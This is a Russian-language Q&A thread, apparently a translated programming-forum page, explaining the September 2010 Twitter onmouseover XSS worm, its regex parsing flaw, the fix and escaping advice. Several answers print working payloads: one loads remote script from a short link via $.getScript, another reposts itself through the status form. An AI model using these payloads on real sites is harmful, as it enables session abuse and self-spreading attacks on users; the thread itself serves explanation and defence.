Сегодняшний XSS onmouseover эксплуатирует на twitter.com - PullRequest
52 голосов
/ 21 сентября 2010

Можете ли вы объяснить, что именно произошло в Твиттере сегодня? По сути, эксплойт заставлял людей публиковать твит, содержащий эту ссылку:

http://t.co/@"style="font-size:999999999999px;"onmouseover="$.getScript('http:\u002f\u002fis.gd\u002ffl9A7')"/

Это технически атака XSS или что-то еще?

Вот как выглядела домашняя страница Twitter: http://www.flickr.com/photos/travelist/6832853140/

Ответы [ 5 ]

38 голосов
/ 21 сентября 2010

Уязвимость заключается в том, что URL-адреса не были проанализированы должным образом. Например, следующий URL размещен в Twitter:

http://thisisatest.com/@"onmouseover="alert('test xss')"/

Твиттер рассматривает это как URL. Когда он анализируется, Twitter оборачивает ссылку вокруг этого кода, поэтому HTML теперь выглядит так:

<a href="http://thisisatest.com/@"onmouseover="alert('test xss')"rel/" target="_blank" ="">http://thisisatest.com/@"onmouseover="alert('test xss')"/</a></span> 

Вы можете видеть, что, вставляя URL-адрес и завершающий слеш, Twitter считает, что у него есть действительный URL-адрес, даже если он содержит кавычку, которая позволяет ему экранировать (т. Е. Завершить атрибут href для там педанты) атрибут URL и наведите курсор мыши. Вы можете написать на странице что угодно, включая закрытие ссылки и элемент скрипта. Кроме того, вы не ограничены ограничением в 140 символов, поскольку вы можете использовать $.getScript().

Этот коммит, если бы он был извлечен, предотвратил бы эту уязвимость XSS.

Подробно, оскорбительное выражение было:

REGEXEN[:valid_url_path_chars] = /(?:
  #{REGEXEN[:wikipedia_disambiguation]}|
  @[^\/]+\/|
  [\.\,]?#{REGEXEN[:valid_general_url_path_chars]}
)/ix

Часть @[^\/]+\/ допускает любой символ (кроме косой черты), если перед ним стоит знак @ и суффикс косой черты.

При изменении на @#{REGEXEN[:valid_general_url_path_chars]}+\/ теперь разрешены только допустимые символы URL.

15 голосов
/ 21 сентября 2010

Да, это XSS, он атакует обработчик событий javascript .Что здорово в этом XSS, так это то, что для его использования не требуется <>.Вставленная строка: size:999999999999px;"onmouseover="$.getScript('http:\u002f\u002fis.gd\u002ffl9A7')".

. size::999999999999px делает его очень большим, и, скорее всего, кто-то наведет на него курсор мыши.Настоящая проблема - обработчик событий onmouseover=.

Чтобы предотвратить это в PHP, вам необходимо преобразовать кавычки в их html-сущности: $var=htmlspecialchars($var,ENT_QUOTES);

Это потому, что в HTML нельзя экранировать кавычки, такие как sql: \'

4 голосов
/ 24 сентября 2010

Эксплойт был классическим фрагментом инъекции Javascript.Предположим, вы пишете твит со следующим текстом:

"http://www.guardian.co.uk/technology is the best!"

Когда вы просматриваете веб-страницу Twitter, она становится ссылкой, например:

<a href="http://www.guardian.co.uk/technology" class="tweet-url web" 
 rel="nofollow">http://www.guardian.co.uk/technology</a> is the best!

Эксплойт атаковал эту ссылку.делая функцию.Необработанный текст сообщения об эксплойте будет выглядеть примерно так:

http://a.no/@";onmouseover=";$('textarea:first').val(this.innerHTML);
   $('.status-update-form').submit();"class="modal-overlay"/

, который Twitter не защитил должным образом, возможно, из-за того, что комбинация символов @ "сломала их синтаксический анализатор [HTML]. Эта ссылка сгенерирует следующееисточник страницы:

<a href="http://a.no/@";onmouseover=";$('textarea:first').val(this.innerHTML);
 $('.status-update-form').submit();"class="modal-overlay"/ class="tweet-url web"
      rel="nofollow">

Это означает, что исполняемый контент (бит onMouseOver = "stuff") оказался в исходном коде страницы. Не зная ничего лучшего, браузер запускает этот код.браузер пользователя, он может делать все, что делает пользователь, большинство вариаций использовали эту возможность для повторной публикации контента, поэтому он распространяется как вирус. Чтобы поощрить пользователя активировать код, наведя курсор мыши, они также отформатировали блока черный на черном фоне с помощью CSS [каскадные таблицы стилей, которая определяет макет страницы]. Другие версии были взломаны вокруг пользователей, чтобы иметь все виды других эффектов, таких как порно сайт перенаправляет, радужный текст в своих твитов, и так далее. Некоторые из них выскочили диалоговые окна, предназначенные для тревоги пользователей, говорящих оно учетные записи отключены или пароли украдены (в любом случае они не были).

Твиттер исправил это не блокировав строку onMouseOver (к которой призывали некоторые глупые блоги), а путем надлежащей очистки входных данных.,«Метки в этих твитах теперь превращены в» - экранированная HTML-форма.

Технически это атака вторым порядком;строка атаки вставляется в базу данных и обрабатывается правильно, но затем происходит атака, поскольку строка считывается обратно.Атака тоже не так уж и сложна - довольно неудобно для Twitter, что они были пойманы этим.

Источник: Взлом Twitter: как это началось и как это работало

1 голос
/ 21 сентября 2010

Это эксплойт XSS. Как признал Твиттер в своем обновлении. Вы можете предотвратить подобные атаки, никогда не позволяя пользователям публиковать код JavaScript.Вы должны всегда фильтровать это.Более подробную информацию об избежании XSS можно найти здесь: http://www.owasp.org/index.php/Cross-site_Scripting_(XSS)

0 голосов
/ 21 сентября 2010

Из Википедии: «Межсайтовый скриптинг (XSS) - это тип уязвимости компьютерной безопасности, обычно встречающийся в веб-приложениях, который позволяет злоумышленникам вставлять клиентский скрипт в веб-страницы, просматриваемые другими пользователями».

Сегодняшняя атака отвечает всем требованиям.

В основном произошла какая-то ошибка синтаксического анализа с кодом отображения Twitter.com.Когда они конвертировали URL-адреса в гиперссылки HTML, они неправильно обрабатывали символы @, что приводило к вставке событий JavaScript в ссылку HTML.

...